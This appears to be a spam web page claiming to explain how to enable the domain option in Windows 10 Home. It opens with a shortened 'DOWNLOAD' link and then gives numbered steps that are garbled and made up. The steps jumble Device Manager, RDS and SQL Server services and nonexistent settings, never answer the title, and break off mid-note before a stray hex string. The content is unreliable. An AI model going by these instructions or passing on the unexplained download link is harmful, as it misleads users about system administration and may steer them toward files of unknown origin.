
How To Enable Domain Option In Windows 10 Home

DOWNLOAD: <https://byltly.com/2inkfo>

Download

Accept the terms and conditions This is necessary to install the Microsoft Management Console (MMC). 4. Right-click the Device Manager and click Run as Administrator to access the Device Manager. 5. Right-click the system service entry for the RDS service and click Start. 6. Right-click the system service entry for the SQL Server service and click Start. 7. In MMC, right-click the Local Server node and click Properties. >Note To open the Local Server node in MMC, click Computer Management > Local Server in the console tree. To add a new server to the domain, follow the instructions in Configure the Server Domain and AD Trust Options. 8. Click the NT Services tab. 9. Select the RDS service and click the Edit button. 10. Scroll down to the Advanced section and set the Startup Type to Automatic, Run with a high integrity level and the following: - SID of the account to run the service with: NETWORK SERVICE - Log on as a local user: NT AUTHORITY\Network Service >Note: Setting this to Automatic will restart the service at bootup. 11. Click OK to close the properties. 12. Repeat steps 3-11 to start the SQL Server service (not the RDS service) and the Device Manager service. >Note: Restarting the service may need to wait until the next power cycle, as the service is only restarted once the server has been shutdown. 13. Click Start to start the server. 14. In the MMC, right-click the Local Server node and click Properties. >Note 82157476af
